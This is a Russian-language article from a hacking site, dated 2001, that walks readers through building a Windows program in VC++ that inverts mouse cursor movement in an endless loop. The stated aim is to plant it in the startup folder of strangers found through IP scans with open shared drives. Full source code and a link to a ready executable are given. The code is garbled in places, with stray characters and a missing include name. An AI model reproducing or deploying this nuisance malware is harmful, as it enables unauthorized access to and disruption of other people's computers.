Kodsweb Security Team

MENU

  :::: Main
  :::: Archive
  :::: Programs
  :::: Texts
  :::: Proxies
  :::: Wordlists
  :::: E-Books
  :::: Rfc
  :::: Our Projects
  :::: About
  :::: Forum
  :::: Exploits
  :::: Friends
  :::: Services
  :::: Feedback
  :::: Misc

FEEDS

KodsWeb.ru - Forum
KodsWeb.ru - Project News
KodsWeb.ru - IT & Scene News
KodsWeb.ru - Defaces Bugtraq Exploits

SEARCH



WHOIS

FRIENDS

--{ team void }--

gfs-team

XakNotDie - Security, Coding and IT.

all networks hacking and security research

COUNTERS





Рейтинг@Mail.ru

Rambler's Top100 Rambler's Top100



[ Управление положением курсора или мелкие пакости ]


Date: 30.12.01



   Привет кульный хацкер!

   Сканишь IP'шники, находишь ламаков с отрытыми дисками, и не знаешь, что с ними делать?
   Сейчас я расскажу тебе, как можно приколоться над этими пр..(не очень умными людьми). 
   Надо скомпилить маленькую прогу, которая будет инвертировать движение курсора, а потом 
   закинуть ее на винт к ламаку в папку автозагрузки.

   Для написания этой проги подойдет любой язык программирования. 
   Я покажу, как ее написать на VC++.

Запускаем VC++. И создаем новый проект.
File>New
Выбираем тип проекта как Win32 Application и в поле Project name 
прописываем имя проекта(например cursor).
Кликаем ОК. Выбираем An empty project и давим Finish.
Теперь надо добавить к нашему проекту основной файл
Project>Add To Project>New...
Выбираем из списка С++ Source File и в поле File Name пишем main. 
Давим Ок. Копируем в этот файл нижеследующий код и компиляем
Build>Build
Все.
Комментарии в исходнике довольно подробные, так что вопросов не должно быть. 

 

--------------------------------------------------------------------------------


 
#include // Основные функции винды
 
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
        POINT cursor;// Сюда будем получать текущую координату курсора
        int x,y,dx,dy;// несколько дополнительных переменных
        GetCursorPos(&cursor);// Взять координату курсора
        x=cursor.x;// Запоминаем координату по х
        y=cursor.y;// Запоминаем координату по у
        for(;;)// Вечный цикл :)
        {
               GetCursorPos(&cursor);
               if((x!=cursor.x)|(y!=cursor.y))// Изменились ли координаты курсора
               {
                       dx=cursor.x-x;// Изменение по х               
                       dy=cursor.y-y;// Изменение по у
                       if(dx<0)x=x+2*(-dx);>else x=x-2*dx;// Здесь мы инвертируем движение по оси х
                       if(dy<0)y=y+2*(-dy);>else y=y-2*dy;// Здесь мы инвертируем движение по оси у
                       if(x<0)x=1;>// Необходимая проверка. Чтобы курсор не залипал
                       if(y<0)y=1;    SetCursorPos(x,y);>// Устанавливаем новое положение курсора
               }
        }
        return 0;
}
 


--------------------------------------------------------------------------------

Самые ленивые могут взять готовый exe'шник здесь 







Drakula     [KODSWEB]
!!! Статья является собственностью команды KODSWEB !!!
!!! Любое распространение без нашего разрешения строго запрешено !!!



 Copyright © 2001-2007 Kodsweb. All rights reserved.


>